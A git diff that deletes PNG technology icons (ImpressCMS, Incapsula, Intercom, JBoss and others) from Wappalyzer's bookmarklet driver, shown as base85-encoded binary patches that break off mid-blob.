HcmV?d00001 literal 217 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFP2=EDU1=3E_&UpdRtaCv?H1Ar} zqHD>^u4S*fR=f^~?zQZ?*R${Wl*7;G9Dly_^mB$Ozx;uE7)yfuf*Bm1-ADs+!aZFa zLpZJ{CmdjDZE{fHOR-@yeAB?ACy>nOp%)ksz_aGX#03lFW*k)1xWRDoxdzWNJA;@h zsSntVm?SL34K^@H3Mo8vQwXy;aNvM4OUfGtsbg1rkLEE1>hVPMUi4f5w1UCY)z4*} HQ$iB}TO?2| diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/ImpressCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/ImpressCMS.png deleted file mode 100644 index 023f159d6e2823e3c61a5637053e59183087daee..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 408 zcmV;J0cZY+P)v0XF3JoqJkf13-QQ37nq7PtX7m z26+jj9u&A>1L|5jXM+S5*Gdy*K!_hCJg!{3VFWf{}dq<1EJ^4z1Kdxr^`(PpG->D_?f0M%W;IUxt=<(s^?K|2S zQMqKrn(Wxr>_Z?$DdD<*_x1??wX(B9(FjT>PoF)P!eIi%{_(L}X?zLcwUD-c{yWfv*nk!`yF8ILY{c+y9)&Kwi07*qoM6N<$ Ef} z*0KBh{QL6i`|aQR_VWAr`TF0*`}+6${QCL4eX2``-T(jq2y{|TQ~&?}|NsC00N#VW zSpWb4|4BqaRCwCFlidP?AP9v4QPP~e|Jx3KTDq-uw{vCjbwD7H8^Qd*L*D@lxKNe% z8F>L56^ICt2sEF_0C-miY0`MIvzLhZn$*$J~J^N0&07b1!O$6OSA(g3< z84m!-bE~4}I065P4+{grC9sv+z7^03K#P0;i^D^1fGNl__mY;yI+yL@7;3>cW XERz?vy)fe500000NkvXXu0mjf3LwHn diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Incapsula.png b/Wappalyzer/drivers/bookmarklet/images/icons/Incapsula.png deleted file mode 100644 index 5ba7071ba59016d90128e52ad5004d6718f32279..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmV+c1pfPpP)Y4t> zAL%|fy}s+zsfL5SFRW-kQNObNWHlwmFwg3min``?byeH%TD4`Ha{owGBUEXhpBWIkj0TnnQ}RZ|{52lkD&Hl61d zVfh=hU?&iWU`1?=*V+oDH3O}+?LEU8;ghL=BL)U0cQ%bKLZEo673!T3_uT2>^(4GD zWOdMV_Vih#Tj1ldom(@D5fJ_X1-w8Ep~^vhggls%hCvrK{8*vQla;0;(b01pVJ|{2 zkQ>?63K!0E$o?3V5J0g0soYq2aLz&Zm8(wdo4;7#1=O zoCCH;&LzBR7jPBu+$>%p=doi+Vkgfpv4_t#2K^(uasG1Rz_%9@oxM8&3^!&J*b#bv zzpCyMI8L$XynuqQjN#X;#NS;9aSP5N$y8(T%kT%qzJgJpYeqP zBWR69t1MJlB2x=ak>M%Kr3uPT{EVbhNSI6C>@)Ph5b)f_IeB@YT;G{B?3fX1f3w2S z9WkckaU4L#;b%hpKoT>S&%`t~OcQ7pi9+ytJvS>rpQRCW>zNg9ix<|GAS1yNKK5D;D5 zU+~IzdoNv>n6BxcnyZeGnDs)CQ+!q-6J0MRbSMe}m|OfEuUk^Jre$Md>E?#ISk9Ic zU@>YyL6nkW0lX@a2j>+~ZYPEt@P7~p{#yaz?Clm%P_J+d;XdGL09*Q20KQi^sz{f> zAO%V-pvYkrc~_win5IAp1spJeaLgEa!^2e;P+Ea66+RRA1{kM6i3Jqs6lAw^{`UYJ z1xhI3fQ!HvitYm@Z|5R906eVl5b$;p<%^zx2QmmB0`CE{rCP-y3rPbFp&7=1M&&-cJq=ftlm|?mG?<5N(00000NkvXXu0mjfsesR_ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Indexhibit.png b/Wappalyzer/drivers/bookmarklet/images/icons/Indexhibit.png deleted file mode 100644 index 2e51915b09c435ad7f8b5676cedd7ee0bfb4c2e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1379 zcmV-p1)TbcP)ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Indico.png b/Wappalyzer/drivers/bookmarklet/images/icons/Indico.png deleted file mode 100755 index f04d63011065389880e57bfd7088d3cfcc2d1cdc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 380 zcmV-?0fYXDP)xw&Z2+;Z@=gJeeb6mOo|LrN@5TgSQwNTWFSSP6axb$ zNil$=B&efP3gYBnkdOQkPjd}aQnH(v4B9Nos1n<^#^k2)a2Al9&`^_tE;Y;f7BG|@c9gs97x zsu)^^F~v#Sk9nTkLC)a;`3N8+9L1ps7q}`B$k!vZNrYaq-4@_e*rS&sb_5q%ghJF| zlS{ThYY=9wE#;d8%J}8@n1M}(aE)G8W1n}t=eP)_?TG|qv5o_i?8Z4hTaOmx+62dE zb3_o}JF7*+&BQ5h&}H+q#GdFGdsv}OT;eftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/InstantCMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/InstantCMS.png deleted file mode 100644 index 9b189321b9db11443e4fc15374fc361406cfa4e6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 280 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbK}cz{ocE0E?WT+fximMeb^citM_ zoYj2Us{}Gv2xhDhPFp6Dx=bv2iCEHNiG)Rx@e8G6=F3ISRScW096UoUU>aM=MwYTo z8?Qd!bmjT(Q}_3ry!ZeA|9|@#fo9G+_+}H3Vk`;r3ubV5b|VeQ$@g?|45?sbJ>bc8 zh(Unmz^juFjy7aCoc%BVoJojfZ-+Dk!=Zod3gLx67!r247|ds=)8%A7u$y-U(}k{= zvwiL?5dFF~c81uNq?=P(a~FzEc{J|=mzSa41*Vf8O=2PQvgbL<#4|+9J^Y7hgB2sg a2lmo$qWQlBC%yq%&EVDb*ImEr_Oh$&3LKLda2KRtIvF`(tWMeg09npuG53B z(}u9rhq2X%vebvN)`+vzinG&-v(=2V)r_^*jkVQ|wbzce+L5-`lDgQHyV;hz*_pfB znY`Maz}=p}+@QhRpuygv!QG<6-J`?ZrNiH*#o(sK->Apos>tA~$>OWX;jzr*vCZVN z&E&JraHNM!Yse&42Vpom<^C`8wg}Z zfcSQy*}M$J+CGlXdf7t$A?9HUsSF$pxhkjP#rOL%t=*7_C7_8iFaxaIE#vFGjW?d+9gww0>FE@>?+C;42*&dO!t_$t^NHZ^LBr?f@b&2E=;!C>=H})U zvFZrA?FhW?2)*txyy^h0<~zXU=<)RB<>ln$6Qkr4o8ooN z<>m15p3>yr;^gDw-rnBb-QASS+!2!15t`Q#m)A#OcoGA(XhKAiBqE8u*ULcxNL00000NkvXXu0mjfVRgGz diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Intercom.png b/Wappalyzer/drivers/bookmarklet/images/icons/Intercom.png deleted file mode 100644 index c6fe220c680cbca3d9dbdc6103eb6640d1054b83..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 540 zcmV+%0^|LOP){4(Hk)m1%U{G7Twqor8y}nBh;zG5gmet&gF75 z!7hWM&@-k*sIEjCY9c#({NA&j?QEsw2S48Dd*A1I`S_6BXU+OPgWnEloCnEB7GKf~ ze@&C+EU%@woJ{e<`cF&$%cBTuhgn=X$O1M?i!nqaVFborV02^{F9Va7jzuGgFGS(= zs%#_Tzepjx_M0<_9d`A4*?#Y#Me7}R$zAkpa#wlxXy>#H0bx#`M)27XOafT|Ci0b~ zditpk`q&8UoJImUh-_ADxjR^_1uctA6J{m@JEy^MY=3$0thr`4wF?!faJfzm+DAOD z%F4pB!V4OjZlbBZ`>#Ox67gJZxm6s@Y?F~x5pQUT{rWq$-S1<|-3RRG^|8&}XZ0Sv zd0*m{EW8Hk|4xRs$hlMzJ+VvOP$c&FN>%4fypoYD`d3L|K=C9=j;lfN2dQt6uQzju zmY&SSGmy^+g$2TO_aHmRBlLVsmzYFLuWMr7@;EaZfMfeVsxH&mR diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Intershop.png b/Wappalyzer/drivers/bookmarklet/images/icons/Intershop.png deleted file mode 100644 index 2cb07ca60c02c9e08bb3d4d3944b4589e2afe5a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 138 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPGa2=EDUy(b{>*udbagTsgZ{%`yD z|2TjC_x=0-|NrOb5}O57qwDG77{YNqIl+PH+0g*EO3PgwGCOuGSnX)wmDuAXq0D%! kAydEEuq%OwS>!R}awU$3Tc=h10%~ONboFyt=akR{01HAeSO5S3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Invenio.png b/Wappalyzer/drivers/bookmarklet/images/icons/Invenio.png deleted file mode 100644 index cfbe07dc202cfc81a5e5d927e861ad9cce270727..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1756 zcmV<21|#{2P)004R>004l5008;`004mK004C`008P>0026e000+ooVrmw00006 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 N002ovPDHLkV1he!kL&;d diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JAlbum.png b/Wappalyzer/drivers/bookmarklet/images/icons/JAlbum.png deleted file mode 100644 index 898676c4d6e0cc31f7a2712ecfde3baab3539a97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 454 zcmV;%0XhDOP)?fzW3G0Rc^9HEODB6&enPwS^LbB9XIThpJs^xmD%w z<+AO5CnOd|szs8%l61^sSGiQF;di>zy1Vm%&+dDj#GjVbWy|}CLyko*j5YiG`>?lS zZ;eaV=GLmqs~nCoYqCx`oIL#f{IJcirpRPXqC{P)USy|DeXxDT!)b7&Ph+N0EmbGy z@aIOLIAoq>J(Vw9r(u`QZAY<9pru$ouS+(fKKA+cG+tQq00001bW%=J06^y0W&i*H zv`IukRCr!Rk43V>FaSf%VP>W>b3eiTZ&fFmI@)OTHj)5_4R5-+($l z-D4{NnjdmsEuRC}6rZ7nBhu~ShHfBmrP6X_LWqpxU(-?cmJFlIiFzJ<+n9EPNo wJ+qT|$;8q*TmLOhh6I2uHMH;_io27*3-@*n_l3I+1ONa407*qoM6N<$f+v#B+5i9m diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Application Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/JBoss Application Server.png deleted file mode 100644 index e4a4331a77272c045bb9e0e77575c08e05004abb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1772 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�&PIS&1<$l9FatZ;N`FEl+^^10yCiB7RS z+1WB|I9+czr!bb4FXnI2#gMSIdn!4n{hnb7rO35)Ory!h{B@!WAS2c|wQ3$CxYokX zfIDQDFc6;n22!eCRdB__f~OtBeSbVBL);(RP}95np8K(sDz_=yLoI;_J;P2NFKg<#bNm>OPoCn|j=g+pISRk0fCT`o<E^wuZh#sejZOj@j!$!3gsf5 zPK41|k{k6~Kon~p;q}I?6sm0AIvH|ynu$ZrxQhY?41%gs1iqhb=T)SZq03h(FS-~3 z%lBOdqEQNVhS5lxY;6i&bcdA>-~pxiS^CpE;oCGAR^BWrmB`1EWaAk|>;!o`jePis zh*Z49KxqlZ4^09lxLIbg$Uvly!9({-{GfTF1n;-QdpQhB}tv z1E^1VY9=6108g3A50Q&Fv_Sd%}qJlNF&Q(w@PK>|d4+(Ln= z=7aRDtzxh`&Tw^-=cyD=oA=PQZ$FPVZ-;AlK{QYz8W2=ANdPdi#Lpiy6z)A?HlY~h6~IA3S|CYxCzLB2rS?f zVX%Am|Np-vhExB$8Fv5w|FVmL->`dn9JgR@mj_!?PfKSw$lBPI>!(j%)ljpdi2=w3 zdM@kw#Tg4 z;^h3;*!;}O^uomSy}0zUwDhN;^puhEh=lBSbnI$o>|b2$QcUPZK;$$oRSKW$0001i zNkl`k(&G{9>5@<-G0V-~K-sxPJ8KKKa?dfPv|Eea^M-`+;V! wi?2EU?G?}*|M;%!-@XAEa=BgGpI&4D0D1p72aVE@v;Y7A07*qoM6N<$f|QJZwEzGB diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Java Servlet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Java Servlet.png deleted file mode 100644 index 0160cf61c02c823eeb2ce7634e573e89b50d1f0a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1496 zcmV;}1t_rx_=wKbmRkSwY2eQcTS|M4^<moCjY8UbTSeC|=8^(SoVhN< zIrcWWjb_lC14%Z_h*2dizonvsFn;BSd`gjf6El)Vo>vP=10AG&l}a9fZ5$ZOp;fm_ z=n`ljKbuFw-7Gnb9C)%E=WsKmT(H-MW}Z>ke!nE>f=w^ZTQjv{Dsf<0^P2mm=<#(w~U^o_&er^qrDk z1ntLvET$1`Gi2+ATQ0j(O26MIrcP^|;Q$ZRTNxQYl1fW#?tpGJ*+Ny=aDdYnd9$d~R`G0&qeMSP< z3`SVlHCL+Z2^N;My(v_;1x03Q9VQPRNvFm8`Q$j3MR9nH8qCpTKlxkUd{2(Jq9a(M zF%`-TeeF1djmWEYn6mK&Vg)0s>Ca1O82&bCh&**eG7Z>gN5IwSE6Yml9z^WW63PAQt5 z*!13S*sFP}5V(8#Fl#ocdBXB`|M;qIkyLADW%^z@kN`?$Qmu(EsWPq+mbUnWCg;0) zcrWL2&>lY{d{a3iHT0%{f%{^uY0b2>AgbCH#?}tBug$EU^EmyJuy=Cd21?RrK_mXr z*#`H=1t_jIhRN%P4oP(8#1+a)?z9|`>3Z@Kn|9t;Gz?#p*A0Hd)>=MhYb@`h|3F@A zISA^<5Q1^g`~dsM)~j2Wge2uVKszjG?-#0DpZSjpM^xGAhuEhg=6V=u2HJoYdF@~$ z98p8*De)R(NJK_8kHc^|$esnFiVojJ0js$5e>6c^n->&rt$vJ$w;$sd&2oK0*E67h zG89~!K1k3&y`pi)T`;hpHS~A0`rcZIQ7bd_zk{{C)(k-Z3BUB+WzTGEkzX()C~tom zO6Q9!xA^$?#@m5DU;t?~Xsv>P1@lMf>y;ULyYRavpbAE_;E+sE)*31*?~K8Ixm05+5ma<| zK9v?iQ;M1O745j?HU%^h6_su9MQwj6P@Lxe+PVauf2@KRB*}0O+gP$NI;X~0P}&lX z%9su(T9KlMp_6lXPx^#q?P1Y528Zctk`tO-I7?LBz0&%qOx#Y}Q-I=Bg|HZ4td7<9 y)gc=+U_&L<_ohjzjWKbm=2w_rx_=wKbmRkSwY2eQcTS|M4^<moCjY8UbTSeC|=8^(SoVhN< zIrcWWjb_lC14%Z_h*2dizonvsFn;BSd`gjf6El)Vo>vP=10AG&l}a9fZ5$ZOp;fm_ z=n`ljKbuFw-7Gnb9C)%E=WsKmT(H-MW}Z>ke!nE>f=w^ZTQjv{Dsf<0^P2mm=<#(w~U^o_&er^qrDk z1ntLvET$1`Gi2+ATQ0j(O26MIrcP^|;Q$ZRTNxQYl1fW#?tpGJ*+Ny=aDdYnd9$d~R`G0&qeMSP< z3`SVlHCL+Z2^N;My(v_;1x03Q9VQPRNvFm8`Q$j3MR9nH8qCpTKlxkUd{2(Jq9a(M zF%`-TeeF1djmWEYn6mK&Vg)0s>Ca1O82&bCh&**eG7Z>gN5IwSE6Yml9z^WW63PAQt5 z*!13S*sFP}5V(8#Fl#ocdBXB`|M;qIkyLADW%^z@kN`?$Qmu(EsWPq+mbUnWCg;0) zcrWL2&>lY{d{a3iHT0%{f%{^uY0b2>AgbCH#?}tBug$EU^EmyJuy=Cd21?RrK_mXr z*#`H=1t_jIhRN%P4oP(8#1+a)?z9|`>3Z@Kn|9t;Gz?#p*A0Hd)>=MhYb@`h|3F@A zISA^<5Q1^g`~dsM)~j2Wge2uVKszjG?-#0DpZSjpM^xGAhuEhg=6V=u2HJoYdF@~$ z98p8*De)R(NJK_8kHc^|$esnFiVojJ0js$5e>6c^n->&rt$vJ$w;$sd&2oK0*E67h zG89~!K1k3&y`pi)T`;hpHS~A0`rcZIQ7bd_zk{{C)(k-Z3BUB+WzTGEkzX()C~tom zO6Q9!xA^$?#@m5DU;t?~Xsv>P1@lMf>y;ULyYRavpbAE_;E+sE)*31*?~K8Ixm05+5ma<| zK9v?iQ;M1O745j?HU%^h6_su9MQwj6P@Lxe+PVauf2@KRB*}0O+gP$NI;X~0P}&lX z%9su(T9KlMp_6lXPx^#q?P1Y528Zctk`tO-I7?LBz0&%qOx#Y}Q-I=Bg|HZ4td7<9 y)gc=+U_&L<_ohjzjWKbm=2w_rx_=wKbmRkSwY2eQcTS|M4^<moCjY8UbTSeC|=8^(SoVhN< 